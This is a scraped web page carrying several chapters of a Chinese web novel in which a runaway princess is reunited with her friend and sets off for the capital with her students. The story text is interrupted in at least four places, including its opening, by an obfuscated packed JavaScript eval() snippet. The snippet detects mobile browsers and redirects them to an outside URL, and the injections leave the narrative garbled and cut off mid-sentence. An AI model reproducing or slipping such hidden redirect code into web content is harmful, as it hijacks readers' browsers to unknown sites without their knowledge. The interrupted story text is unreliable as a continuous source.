;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124466|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 互利的事,能跟袁老板做生意,我们也有的赚,何乐而不为呢?”龙世蓉说道。 “对啊,你们这里做的绢花越来越精巧了,很多外地的客商都专门过来进货,我巴不得能跟你们做一辈子生意呢。”许家莺笑着附和道。 “你哪天走?我们到时候一起来送你。”龙世蓉问道 “日期还没定,等接我的人来了,我再去通知你们。”姜佑安说道。 “那你还回来吗?”龙世蓉又问道。 “自然是要回来的,在走之前,龙老板,我还想找你买一样东西。”姜佑安说道。 “你要买这宅子是吗?”龙世蓉笑着应道,“我爹说承蒙公主不弃,能看得上这所破旧的宅子,我爹愿意把这宅子送给你,就不用你花钱买了。” “这怎么能行?龙家的钱也不是大风刮来的,令尊要白送,我也不能收。”姜佑安说着看向了一旁的袁竹。 袁竹去房间里拿出了展昌送来的那箱银子,放在了龙世蓉手边的方桌上,“这里是三百五十两银子,佑安除了要买下这所宅子,主要还是想找你买匹马。” “我还真是忘了这宅子的事了,你给宅子估个价,这些要是不够,我再着人给你送过去。”姜佑安说道。 “公主殿下如今有钱了,我也不跟你客气,这宅院原本都荒废了,也不值什么钱,这些银子也就够了,只是,你要回京城,这些那匹之类的,不都应该是那些官员给你准备吗?你怎么还要单独找我买马?”龙世蓉问道。 “这匹马不是给我用的,常跟我一起去马场的箫悦笙,你也认识吧,她要回家乡去了,路途遥远,我想送她一匹马,赶路能方便些,你就把她平日里常骑的那匹给我就行。”姜佑安说道。 “行,明天我让人给你送过来。”龙世蓉说道。 “不用麻烦你找人送了,明天她肯定还要去马场,你跟马场的人说一声,让她直接骑回来就行了。”姜佑安说道。 龙世蓉笑了笑,“好,公主殿下,都听你的。” 几人又聊了会儿天,龙世蓉和许家莺起身告辞,临走前再三叮嘱袁竹,姜佑安走的时候一定要告诉她们一声,才放心离去。 在等待京城来使期间,袁竹没再出门卖花,整日在家里陪着姜佑安,虽然姜佑安说不用她陪着,自己很快就回来,但袁竹依旧坚持守着她。 戴庭芳听说来接姜佑安的人已经在路上了,担心姜佑安会撇下他自己离开,也寸步不离地守在姜佑安身边,辛开元要守着袁竹,于是整天都四个人一起行动,晚上再分别去戴庭芳和辛开元房里睡。 这天,一大队人马来到了袁家门口,姜白凤赶忙进去通报,姜佑安听说是个没见过的人,带着很多人来求见公主,就知道是接她的人来了。 姜佑安走出院门,看到王昭明站在阳光下,神情激动地向她走来,她感到非常惊喜,正要跟王昭明打声招呼,一个男人突然从队伍中跑了出来,跪在了姜佑安身前,抱住了她的双腿。 男人抬起头,看起来是二十多岁的年纪,他相貌不凡,眼角带泪,抱着姜佑安哭诉道:“公主殿下,我可算见到您了!我再也不要跟您分开了。” 187. 来使 “林晚?你怎么来了?”姜佑安扶起林晚,惊讶地问道。 “是王大人带我来的,她说能见到公主殿下,果然不是骗我的。”林晚站起身来,擦了擦脸上的泪水,心疼的问道:“殿下您怎么会在这里?您受苦了吧。” 王昭明走了过来,笑着问道:“公主殿下,我是不是打扰你们叙旧了?” 姜佑安把王昭明扯到一边,压低声音问道:“你来就算了,怎么还把他给带来了?” 王昭明笑了笑,“我想着你流落民间,身边没有美貌的男人陪着,肯定会觉得寂寞吧,为了把林晚找回来,我可是费了不少功夫,你还不快谢谢我?” “我真是谢谢你了!你赶紧把他给我弄走!”姜佑安皱着眉头说道。 “弄走干吗?他是你公主府里出来的,你不想跟他叙叙旧?”王昭明奇怪地问道。 “姜院长,把我们都丢一边,在这里说什么悄悄话呢?”戴庭芳站在姜佑安身后,微笑着问道。 姜佑安回过身来,笑了笑,“没什么,昭明,你跟我进去聊,让其他人都歇着吧。” “行,你们都原地休息吧。”王昭明向下属们命令道。 见姜佑安要进门去了,林晚赶紧上前拉住了她的袖子,哀怨地问道:“殿下,我好不容易才跟您重逢,您又要弃我于不顾吗?” 戴庭芳皱起了眉头,向姜佑安问道:“这位公子是?” “他是以前我府上的旧人。”姜佑安目光躲闪,对王昭明说道:“昭明你也真是的,带他来做什么?快让他回去吧。” “殿下是觉得我丢人吗?”林晚松开了姜佑安的袖子,表情很是受伤,“我从不觉得做殿下的面首是什么丢人的事,当初是您要我进公主府的,没想到您今天竟然会这样嫌弃我,我果然是不该来。” 当年姜佑安对林晚颇为宠爱,如今看他如此伤心,心下也觉得不忍,轻声安慰道:“我没有觉得你丢人。” 林晚抬手摸了摸自己的脸,“我青春不再,殿下不喜欢我了吗?” “没有,你还和当年一样好看。”姜佑安还想再安慰几句,眼见戴庭芳的脸色黑了下去,只好敷衍道:“这宅院里住的都是女人,你进来不方便,你先去马车里等着,等我们聊完了,我再来找你。” “好,我等着殿下。”林晚笑了起来,转身往马车走去。 姜佑安轻轻舒了一口气,拉着王昭明的手往里进,小声对她说道:“你可真能给我找麻烦!” 王昭明不明所以,“怎么是麻烦?你现在不喜欢美男了?” 姜佑安回头见林晚已经上了马车,索性跟王昭明说了个明白,她停下脚步,抬手指向戴庭芳,“我现在喜欢的,是这位美男。” 听到姜佑安说喜欢他,戴庭芳冷若冰霜的脸色马上得到了缓和,他低下头,脸上有些微微泛红。 王昭明看了看戴庭芳,还是不太明白,“那怎么了?你不是说美貌的男人各不相同,多少男宠你都不嫌多吗?” 姜佑安简直想把王昭明的嘴给捂上,她紧紧抓着王昭明的手,勉强挤出一个微笑,“那都是以前的事了,我现在就喜欢他一个人。” 领会了姜佑安的意思,王昭明把自己的手从她手中抽了出来,“那好吧,以前你那么喜欢林晚,我还以为你会想见他呢,这事是我安排不周,既然你不喜欢,那我派人送他回去吧。” 姜佑安赶忙点头,“行,就这么办。” “旧人你不喜欢,我还专门给你挑了两个新人,等送走了林晚,我再带过来见你,你要是看不上,就一块送走吧。”王昭明说道。 “不用!不用看了!你直接把他们送走吧。”姜佑安连声拒绝,拉着王昭明的胳膊往里走,“你来我就挺高兴的了,其他的,都不重要。” 王昭明用奇怪的眼神看着姜佑安,“五年没见,你改性子了?你以前不是说这辈子不嫁人,要搜罗一屋子美男陪你到老吗?我特意给你找的男人,你连看都不看,真是辜负了我的一番心意。” “哎呀!你就别说了,那都是我以前不懂事,胡说八道的,我现在不想要那些男人了。”姜佑安气急败坏地说道。 “不想要了?为什么?你以前不是最喜欢美男的吗?”王昭明认真地问道。 姜佑安领着王昭明穿过院子,进了堂屋,向她抱怨道:“你就别刨根问底了,你没看大家都在笑话我吗?” 王昭明停下脚步,转过身来看着众人,“谁敢笑话公主殿下?” 姜白凤、阮荷、袁竹和辛开元笑得正开心,见王昭明神情严肃,只好抿着嘴,忍住不笑了。 姜佑安很无奈,“你吓唬她们干什么?” “不是你说她们笑话你吗?不过是面首而已,你想养多少就养什么,谁都不能笑话你。”王昭明说道。 姜白凤凑到姜佑安身前,小声问道:“姜院长,这是谁啊?怎么这么霸道。” “姜院长?谁是姜院长?”王昭明问道。 “公主殿下就是姜院长啊,你不知道吗?”姜白凤反问道。 王昭明看向姜佑安,“庆容,我只听说你开了个书院,却不知道你还改姓了。” “我是逃婚出来,总不能还用原先的姓名,到处跟人说我就是公主吧。”姜佑安说着,让王昭明在椅子上坐了,去桌边倒了杯茶,递给她,然后向大家介绍道:“这位是从小和我一起长大的朋友,王昭明,你们叫她王娘子就行。” “我听外面的人都叫她王大人,我们能这样随意称呼吗?”阮荷问道。 “你现在有官职了?”姜佑安向王昭明问道。 王昭明笑了笑,“也不是什么大官,你们就按庆容说的,叫我王娘子就行。” 姜佑安让大家都去椅子上坐了,自己却站在王昭明身边不舍得离开,她看着王昭明感叹道:“真没想到,竟然是你来接我。” “是我主动向皇上请命要来接你的,我还特意让叔叔先别告诉你,就是为了给你一个惊喜。”王昭明微笑着说道。 姜佑安笑了笑,“确实挺惊喜的。” “叔叔?姑娘也姓王,难道王世镜王知府就是你叔叔?”辛开元问道。 “是,叔叔知道我和庆容素来交好,发现她在这里,就马上给我传信了。”王昭明说道。 阮荷端了一盘点心来,放在王昭明身旁的桌上,“旅途劳顿,王娘子辛苦了,吃点儿点心吧。” “多谢姑娘。”王昭明客气地说道。 “昭明,我给你介绍一下,这位是袁竹,我能活下来,都是因为她的好心收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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阮荷和姜白凤也分别以看门和读书的借口离开了,戴庭芳见大家都走了,他也不好意思赖在这里,只好起身告辞了。 姜佑安去给自己倒了杯茶,在王昭明身旁的椅子上坐了,“皇上很生气吗?” “现在还好,他还不太相信你真的在这里,历国那边估计也还没有得到消息,等你回去之后,可就不好说了。”王昭明的身子向姜佑安那边倾斜,压低了声音问道:“这到底是怎么一回事?你是什么时候回来的?为什么会在这里?历国那边为什么没有找皇上要人?” 姜佑安喝了口茶,放下了茶杯,“我压根没到历国去,和亲路上我就逃走了,长风倒是一路跟着去了历国,据他所说,是谭玉顶替我的身份,顺利嫁进了王府。” “谭玉?这丫头也真是大胆,要是被人发现她是冒名顶替的,恐怕会有杀身之祸。”王昭明说道。 “是啊,我也在为此事担心。”姜佑安看向王昭明,“昭明,这几年你还有到军营里去吗?王将军还在练兵吗?他还能带兵打仗吗?” 王昭明眉头蹙起,略有些犹豫地问道:“你是想,跟历国开战?” 188. 回京 “王将军不是一直想要收复边境五县吗?他若还有此心,回京之后,我可以助他一臂之力。”姜佑安说道。 王昭明摇了摇头,遗憾地说道:“我爹他常怀此心,可惜上次战败负了伤,还惹怒了历国,害得你要去和亲,他从此便一蹶不振,只在京城养伤,再也没去练兵了。” “王将军有伤在身,确实不好勉强,你看朝廷之中,还有其他能用的武将吗?”姜佑安问道。 “你若是想将谭玉救回,我们可以先派人去打探一下她现在的处境,再想办法救她回来,不必非要跟历国开战吧。”王昭明说道。 “我不止想把谭玉救回来,我还想把边境五县给夺回来。”姜佑安说道。 王昭明很是惊讶,“你以前不是说,咱们国家幅员辽阔,丢了的区区五县根本不算什么吗?如今怎么不惜跟历国开战,也想夺回来?” “到了这里,我才知道百姓生存多艰,而被侵占的五县的百姓,更是生活在炼狱之中。”姜佑安说道。 “你不是没到历国去吗?你如何得知那五县的百姓是什么状况?”王昭明问道 院子里出来一阵哗啦啦的水声,姜佑安向门外看去,见是箫悦笙正在井边洗手,她起身走到门口招呼她,“悦笙,你回来了。” 箫悦笙甩了甩手上的水,朝姜佑安走了过来,“姜院长,今天外面怎么这么多人啊,我连拴马的地方都没有了。” 姜佑安拉着箫悦笙的胳膊走进了堂屋里,向她介绍了王昭明,让她跟王昭明说一下五县百姓的遭遇。 箫悦笙不知道姜佑安是什么用意,却还是坐下来,把自己的所见所闻一五一十地对王昭明讲了。 王昭明听得握紧了拳头,“竟有这样的事!” “王将军肯定是知道了五县百姓遭受的欺压和盘剥,才会想要收复这些土地,只可惜他没能成功。”姜佑安说道。 王昭明看向姜佑安,目光坚定,“既然你有心收复五县,那就由我来请缨,跟历国一战。” “你?”姜佑安没想到王昭明会这样说,她惊讶地问道:“你不是只喜欢骑马射箭,最讨厌练兵打仗的吗?你也不是武将,怎么能去打仗?” “你不在的这几年,我也领过兵打过仗,皇上对我这个儿媳也有几分信任,自从你去和亲的那天起,我就知道,这一仗早晚要打,只不过,要想让皇上出兵,我们还是得先做好完全的准备才行。”王昭明说道。 “儿媳?”姜佑安无比震惊地瞪大了双眼,“你成亲了?还嫁给了我哥?” 王昭明微微一笑,“你都有未婚的夫婿了,我怎么就不能成亲?” “你不是一向嫌弃我哥都是酒囊饭袋吗?怎么就成亲了?是皇上给你指的婚吗?你嫁了哪一个?”姜佑安追问道。 “你三哥。”王昭明答道。 姜佑安气得拍案而起,“什么?京城里那么多优秀的公子哥你看都不看一眼,怎么就挑中我那瘸腿的三哥?就算你不在意他身体残疾,他脑子也不正常啊!是不是皇上强迫你的?我回去就跟皇上说,让你们和离!” 王昭明走过来,拉住了姜佑安的胳膊,轻声安慰道:“这不是皇上指婚,是我自己做的决定,你别着急,等会儿我再慢慢跟你讲。” 旁观的箫悦笙此时开口问道:“你们,想要对历国开战?” 姜佑安憋下心里的火气,点了点头,“对,我是有这个想法。” “皇上会同意吗?”箫悦笙问道。 “事在人为,不试试怎么知道。”王昭明说道。 箫悦笙低头沉思了片刻,抬手摸了摸脸上的伤疤,她站起身来,铿锵有力地对姜佑安说道:“公主殿下,如果您有志收复五县,请您将我收入麾下,我愿意为公主殿下而战,为五县百姓而战。” “你要跟我回京城?你不是想要回到家乡去吗?”姜佑安问道。 “五县中人,有那么多人在受苦,就算我回去报了仇,也无济于事,欺压百姓的不只是一个官员,而是整个国家,杀死他一个,还会有源源不断的人顶上来,只有收复了那些土地,赶走那些侵略者,才能结束这种罪恶。”王昭明说道。 姜佑安点了点头,“你说得有理,去收拾东西吧,明天我带你一起回京城。” 箫悦笙应了一声,向两人点头行礼,然后转身出去了。 “明天就走吗?我还以为你会留我在这里住几天。”王昭明说道。 “这里哪有你们将军府住着舒服?你带了这么多人来,我这里也安置不下,我们还是尽快离开吧。”姜佑安想了想,“对了,你还要去见见叔叔吧,要不多留几天也行。” “不用,我下午过去看看他也就是了,比起他,我更想看看你们的女子书院。”王昭明说道。 姜佑安牵着王昭明的手往外走,“想看我现在就带你去看,不过,学生们都在放假,学堂里可没人,倒是还有一位老师,可以给你引见一下。” “什么老师?平时写文章吗?有出过什么集子吗?”王昭明说着,随姜佑安一起走了出去。 看到那么一长队人马守在袁家门口,大家口耳相传,都猜测说是接公主回京的人来了,于是四邻相互结伴,领着孩子带着自家准备的吃食,来到袁家给姜佑安送行。 门口聚集的人越来越多,姜白凤正愁着不知道该怎么办的时候,姜佑安和王昭明从学堂那边走了回来,她赶紧跑过去,向姜佑安说明了情况。 姜佑安走到门口,感谢了大家的好意,说自己很快就会回来,路上不想多带行李,让大家各自带上自己的东西回去了。 姜佑安告诉姜白凤,下午再有人来送行,就谢谢对方,说她不收礼,让对方回去,姜白凤点头答应。 这边人群逐渐散去,那边王昭明的属下已经在路边挖灶做饭了,姜佑安邀请王昭明一起吃午饭,拉着她的胳膊进了院门。 吃过午饭,堂屋门口三五个孩子正好奇地向屋里看,徐洪愿和阮晨烟还在缠着王昭明问东问西,王昭明好脾气地一一作答着,越来越多的孩子聚集在她的身边,大家都对京城和皇宫充满了向往。 姜白凤跑进来,说周通海和周帛来了,说是不见到姜佑安就不肯走,姜佑安走出堂屋,让她放周家父子到院子里来。 不一会儿,周通海就拽着周帛来到了姜佑安的面前,作揖行礼道:“姜院长,公主殿下,我们都知道杨恩就是李宗本了,我求求您就直接给这俩孩子指个婚吧,别让我为他们两人的事操心了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15132920|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “我又不是皇上,我指的婚哪里能算数,再说了,你不是说周帛的事,你就可以做主吗?为什么还要来求我?”姜佑安说道。 “我是想做主来着,可是这孩子死活不同意!就那天,也不知道宗本跟她说了什么,她就是坚持不嫁了,公主殿下,您就帮我劝劝她吧。”周通海为难地说道。 “我劝不了,周帛不想嫁就不嫁,你也该尊重孩子的意愿,她不喜欢,嫁给杨恩也不会开心的,你难道希望你女儿痛苦地过一生?”姜佑安说道。 “宗本是我朋友唯一的儿子,我怎么能不关照他,我看得出来,他是个好孩子。”周通海说着,叹了口气,“宗本那孩子长得多好啊,这明明是一桩好婚事,这两个孩子怎么就不明白我的苦心呢!” “孩子不明白你,你不也不明白孩子?强扭的瓜不甜,你还是放弃吧。”姜佑安说道。 “理是这么个理,可是……”周通海正说着,周帛打断了他的话,皱着眉头说道:“爹,我都说了我不嫁,姜院长都要回京城了,你还来给她添麻烦!” “公主殿下这就要走了?杨恩也一起走吗?”周通海惊讶地问道。 “姜院长!”霍静从二门外跑了进来,“姜院长,邵老师说你明天就要走了,是真的吗?” “是真的。”姜佑安点了点头。 霍静抓住了姜佑安的胳膊,激动地问道:“姜院长,你能带我一起去京城吗?” “你想去京城?为什么?”姜佑安问道。 “我听说京城很大,很繁华,很多学识渊博的人都聚集在那里,我想去看看,见见世面。”霍静笑着说道。 姜佑安笑了,“好啊,你才学出众,去见见世面也好,你去收拾东西吧,明天一早吃过早饭,咱们就动身。” “好,谢谢姜院长!”霍静松开姜佑安的胳膊,向她鞠了一躬,高兴跑了出去。 “姜院长!”周帛的脸上突然恢复了神采,眼睛里闪着光,“我也想去京城,可以把我也带上吗?” “帛儿!你跟着凑什么热闹!”周通海生气地训斥道。 “你也想去京城?为什么?”姜佑安问道。 “我也想去见见世面。”周帛说道。 姜佑安把右手搭在周帛的肩膀上,轻声劝道:“周帛,你不能总是别人说什么好,你就觉得什么好,别人做什么,你就跟着做什么,你得有自己的主意才行。” “对啊,你别听风就是雨的,京城那么老远,我们家在那边也没有个熟人,你走了,让我跟你娘怎么能放心?”周通海在一旁附和道。 “姜院长,我不是为了跟着霍静,或者跟着您才这么说的,我是真的想到外面看看,长长见识,书院放假,我在家里也没有停止练箭,我可以保护您的,您就带上我吧。”周帛说道。 “你从没有出过远门,也没有离开过父母,去京城的路不算近,路上未必会一帆风顺,你确定你可以吗?”姜佑安问道。 周通海拉住了周帛的胳膊,“对啊,帛儿,你从没有离开过家,你不知道一个姑娘家出门在外有多不方便,你不同意这门婚事,我也不勉强了,我以后都听你的,算爹求你了,别想着去京城了,我们现在就回家去吧。” 189. 跟随 周帛推开了周通海的手,“爹,我娘天天在家织布,操持家务,一辈子都没有离开过泰安县,你还想让我嫁得离家近些,我以后肯定也没什么机会出去,现在姜院长要回京城,这可能是我这辈子唯一一次出门看看的机会,你就让我跟姜院长一起走吧。” “这……”周通海犹豫了,从小乖巧听话的女儿最近突然不听的他的了,他不知该怎么办,只好向姜佑安求助,“公主殿下,您帮我劝劝她吧。” 姜佑安没有理会周通海,而是向周帛说道:“你想跟过去看看,倒也不难,只是我到了京城,恐怕也不得闲,没办法陪着你们四处逛,也不知几日能回来,你要是待够了,我就只能找人送你回来,跟陌生人一起回来,你能接受吗?” 周帛赶忙点头,“我可以和霍姐姐一起回来。” “霍静跟霍家断绝了关系,她不一定会回到这里来,你必须做好自己一个人回来的准备才行。”姜佑安说道。 听到院子里争执起来,堂屋里的人都围在门边凑热闹,周帛正犹豫间,阮晨烟兴奋地跑了出来,“公主殿下,我也想去京城,不如让我陪着周姐姐一起去吧。” 姜佑安有些惊讶,“你也想去?” “嗯。”阮晨烟开心地点了点头,“我也跟家里断绝关系了,你也带我去吧。” 阮荷走到阮晨烟身边,担心地问道:“晨烟,你别冲动,难道你也想留在京城不回来了?” “姐,你也一起去吧,等你想回来了,我们就和周姐姐一起回来。”阮晨烟说道。 “这哪里是你能做主的?佑安姐姐回去是有正经事要做,没有多余的精力照顾我们。”阮荷说道。 “我们又不用照顾,只要在京城有个住处就行了,我们都带上钱,自己做饭吃,等钱花完了就回来。”阮晨烟说道。 “你想得太容易了。”阮荷说道。 “对啊!”周通海附和道:“出门在外,哪是那么容易的事,要是走到荒山里,你就是有钱,也没地方买吃的去,挨饿不说,晚上睡觉连个遮风挡雨的地方都没有。” 周帛听了,有些退缩,阮晨烟却觉得无所谓,“多蒸点儿馒头烙些饼子带着不就行了,公主殿下能一路走到这里来,我们怎么就不行?” “我来到这里,一路有很多人护送,仍然免不了吃苦头,你们回来时,我只能派两三个人相送,路上肯定不会那么顺利,不过,这也是一种经历,如果你保证到时候不会怨恨我,我带上你也无妨。”姜佑安微笑着说道。 阮晨烟马上向姜佑安保证道:“这是我自己的选择,绝不会怨恨公主殿下。” 姜佑安看向周帛,“你呢?” 面对着姜佑安的询问、阮晨烟的期待和父亲的乞求,周帛感觉自己正背对着悬崖站立,往前走,是不可知的未来,而往后退,就只能滑向深渊,她鼓足了勇气,向前走了一步,“姜院长,我想跟您一起去京城。” “好,回去收拾东西吧,明天一早来找我,带上几件换洗的衣物,其他东西别带太多,干粮不用带,这里都有。”姜佑安说道。 “多谢姜院长!”周帛向姜佑安鞠了一躬,转身跑了出去,周通海赶忙跟了上去,劝她再好好想想。 姜佑安看向阮荷,宽慰道:“我会尽量照顾好晨烟的,你不用担心。” “我的妹妹,我来照顾,佑安姐姐,你把我也带上吧,我会照顾好她,保证不给你添乱。”阮荷一脸严肃地说道。 姜佑安抬手搭在了阮荷的肩膀上,脸上带着温柔的笑,“我也是你们的姐姐,照顾你们是理所应当的,你不用这样紧绷,放松点儿,只当是出门旅行,什么时候想回来了,就回来。” “太好了!我现在就收拾东西去,谢谢公主殿下!”阮晨烟说完,开心地跑回了房间。 王昭明从堂屋里走出来,笑着说道:“你要带这么多人,马车能装得下吗?” 阮荷回过头来,“我不用坐马车,跟着你们一起走就行。” “走路没你想得那么轻松,掉队了反而更麻烦。”王昭明说道。 “别小瞧我的学生们,她们可不是体弱的孩子,乡野间的女孩,有的是力气。”姜佑安骄傲地说道。 “路那么远,走得多了也会累的,咱们这里还有两辆马车,你们也一起带走吧,龙世蓉那边我去跟她说,就当是我们买下了。”袁竹说道。 “我来买吧,多少钱?等下我让人给你送过来。”王昭明说道。 袁竹有些为难,“这,马车是我们租的,也不知道买下要多少钱。” “昭明,你给袁竹多留点儿钱吧,这些住了好些孤儿,给她们都需要钱。”姜佑安说道。 “不用了。”袁竹摆手拒绝,“袁家的生意还行,不会让她们饿着的,出门在外是最需要的就是钱,还是你们留着路上用吧。” “袁娘子对庆容有大恩,就是看在皇上的面子上,也是要给赏赐的,谢礼已经准备好了,我现在就让人送进来。”王昭明说着,往二门走去。 姜佑安拉住了她,“谢礼不着急,我还有一件事要麻烦你。” “什么事?”王昭明问道。 姜佑安拉着王昭明进了自己的房间,轻声说道:“这次回京,皇上不一定会把这件事轻轻放过,要是我收到了处罚,我希望你能帮忙护住这几个孩子。” 王昭明点了点头,“我尽量。” “尽量可不行,你一定要护住她们!”姜佑安说道。 “你不要强人所难,皇上圣心独断,哪里有一定的事?我能护住你,自然也就能护着她们,要是连你都遭了殃,她们还能逃得脱?你不如把她们留在这里,最安全。”王昭明淡然地说道。 “道理是这个道理,不过也不是完全没有办法,你可以把她们收编,当做是你的手下,这样,就算皇上要砍我的脑袋,也不会波及到她们身上。”姜佑安说道。 王昭明的神情变得严肃起来,“我不会让皇上砍你的脑袋。” 姜佑安笑了笑,“我知道,我也不会任他摆布,我们两个联手,事情肯定不会发展到那一步。” “行,那就听你的,我会把她们记录到名簿里。”王昭明说道。 王昭明出门去指挥下属搬谢礼进去,之后便骑马去找王世镜了,姜佑安也出了门,往戴庭芳的住处走去。 姜佑安手里拿着一本书,在屋里坐立不安,时不时来到门口看看,见姜佑安回来了,他赶忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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姜佑安回身揽住了戴庭芳的腰,把他抱在怀里,“我那时沉迷于男色,只要是长得好看的男人,我都想留在身边,林晚是他们之中最出色的,他尽职尽责地做一个面首,哄我开心,他这样做,只是因为我的身份,我也从没想过要了解他,我和他,更像是彼此的玩伴,如今我再见他,依然觉得他长得很好看,却也知道,我不爱他,我的心里只有你。” 戴庭芳紧紧抱住了姜佑安,埋头在她的肩上,声音闷闷地说道:“他的出现让我觉得害怕,我怕你会留下他,怕你像看待他一样看待我,怕认清我也只不过是一个面首而已,怕我不得不接受和别的男人分享你,更怕你会毫不留情地抛弃我,佑安,不要让我落入那样凄惨的境地,好吗?” 姜佑安轻拍着戴庭芳的后背,安抚道:“庭芳,你不是面首,就算我的身份是公主,也不需要你为了我这样低三下四,我们的灵魂是平等的,我们在一起,是互相的选择,如果我让你觉得难过,觉得不安,你一定要告诉我,如果待在我身边让你觉得痛苦,那你一定要毫不犹豫地离开我。” “你这话是什么意思?”戴庭芳放开了姜佑安,不敢置信地看着她的眼睛,“你是不是想要抛弃我,才说这种话,好让我先离开你?” “没有,我不是这个意思。”姜佑安伸出双手,捧着戴庭芳的脸,无比认真地柔声说道:“我和你在一起时,很开心,我希望你也会感到开心,如果我们的关系让你觉得痛苦,我会劝你放弃。” “我不会放弃的。”戴庭芳低头吻在了姜佑安的额头上,轻声呢喃道:“就算觉得痛苦,我也不会放弃。” “傻瓜,没有人会紧握着痛苦不放。”姜佑安的双手下移,抱住了戴庭芳的脖子,她抬头看着戴庭芳,轻笑着说道:“我们活着,都应该去寻找快乐。” “你说得对。”戴庭芳揽着姜佑安的腰,急切地往卧室走去。 190. 送行 “干吗这么着急,门还没关呢。”姜佑安笑着说道。 戴庭芳忙又去关门,回到房间,把姜佑安扑倒在床上,一边亲吻她的嘴唇,一边去解她的衣服。 “别急…等…”戴庭芳不管不顾地啃咬着姜佑安的嘴,让她感觉不太舒服,她一把推开了戴庭芳,有些生气地抱怨道:“你别这样…我不喜欢粗暴的亲吻。” “对不起…”戴庭芳赶忙道歉,俯身轻柔地舔舐着姜佑安的唇瓣。 姜佑安抬起戴庭芳的脸,平静地问道:“你在生气吗?” “我,我不知道,我只是…”戴庭芳话还没说完,就被一阵敲门声打断了。 “姜院长!你在吗?”听出来外面是姜白凤的声音,姜佑安赶忙下了床,整理好衣服,去打开了屋门。 “怎么了?出什么事了?”姜佑安问道。 “我听晨烟说你要带她们去京城,我也要去!”姜白凤着急地说道。 姜佑安随口答应道:“行啊,正好长风也去,你们师徒还能继续一起练剑。” “太好了!我也能去京城了!”姜白凤高兴地欢呼道。 姜佑安笑了笑,“你就为这个专门跑一趟?等我回去再说不就好了。” “不止这个,袁姐姐让我告诉你一声,今天晚上大家要聚在一起吃个团圆饭,那边厨房已经在准备了,你别忘了带戴老师过去。”姜白凤说道。 “行,知道了,那我们一起回去吧。”姜佑安说道。 “你们先去吧,我去叫辛老师他们过去。”姜白凤说完,转身欢快地跑开了。 姜佑安转过头,看到戴庭芳一脸不安地站在她身后不远处,她向戴庭芳伸出手,“走吧,吃团圆饭去。” 戴庭芳沉默着,把自己的手递了过去。 这一顿晚饭,吃得热闹极了,大家聊天的聊天,喝酒的喝酒,唱曲的唱曲,笑的笑,哭的哭,直闹到天黑之后,才收拾了东西,各自散去。 辛开元、姜佑安和戴庭芳一起走出袁家大门,门外驻扎着很多人,却如同军营一般鸦雀无声,三人打着灯笼穿过了小路,回屋去了。 戴庭芳进了屋,点上了油灯,姜佑安在昏暗的灯光下闩上了屋门,戴庭芳走过来,从背后抱住了她。 “对不起。”戴庭芳轻声道歉。 “我已经和林晚说清楚了,你还满意吗?”姜佑安问道。 “嗯。”戴庭芳点了点头。 晚饭前,姜佑安带着戴庭芳去见了林晚,姜佑安说感谢林晚千里迢迢来看她,还说她以后都不再是公主了,也不会再养面首,林晚知道了戴庭芳的存在,遗憾地同姜佑安道了别。 姜佑安转过身来,捏了捏戴庭芳的脸,“你有不高兴的事,可以跟我摊开了说明白,不可以把气撒在我身上。” “对不起,我以后一定跟你直说。”戴庭芳低眉顺眼地说道。 “只是道歉可不够,还要给你一点惩罚才行。”姜佑安说道。 听到有惩罚,戴庭芳抬起头来,心里感觉放松了不少,“你想怎么惩罚都行。” 灯光在姜佑安的眼睛里闪烁,她搂住戴庭芳脖子,凑到他耳边轻声说道:“就罚你今晚只许亲我,其他的,什么都不能做。” “好,我一定好好服侍公主殿下。”戴庭芳低头,朝姜佑安的嘴唇吻了过去。 第二天,姜佑安和戴庭芳收拾了包袱,去袁家吃早饭的时候,发现有很多人聚集在院子里,她们连饭都不去吃,只守在她身边,不舍地看着她,让她也颇为感伤。 姜佑安向众人道了别,安慰众人说她一定会回来的,很多人眼含热泪,说会等着她回来。 王昭明带着庄伯章、王世镜和展昌来到袁家门口,队伍整装待发,附近来送行的村民也都围了过来。 姜佑安领着众人出了袁家大门,王世镜迎上来,说来给公主送行,送了些粮食、衣物和银钱来,姜佑安全盘收下,向他道了谢。 庄伯章说要跟她一起回京城,姜佑安也没拒绝,让他听从王昭明的安排就行。 展昌走过来,把心柔的脱籍文书送到了姜佑安手上,姜佑安谢过他,叫心柔过来,把文书给了她,叮嘱她小心收好。 霍静、阮荷、阮晨烟、姜白凤都背着包袱跟在姜佑安身后,姜佑安让王昭明给她们安排马车,她们此时才感心酸,挥泪和邵苏木、袁竹等人告了别,上了马车。 周通海和齐黎夫妻俩把周帛送了过来,王昭明把周帛指引到马车边,周帛万分不舍,抱着齐黎哭了起来,齐黎劝她回家去,她却不肯,擦了一把眼泪,跟父母告了别,在马车上,眼泪还是止不住地流,其他人见了,纷纷过来安慰。 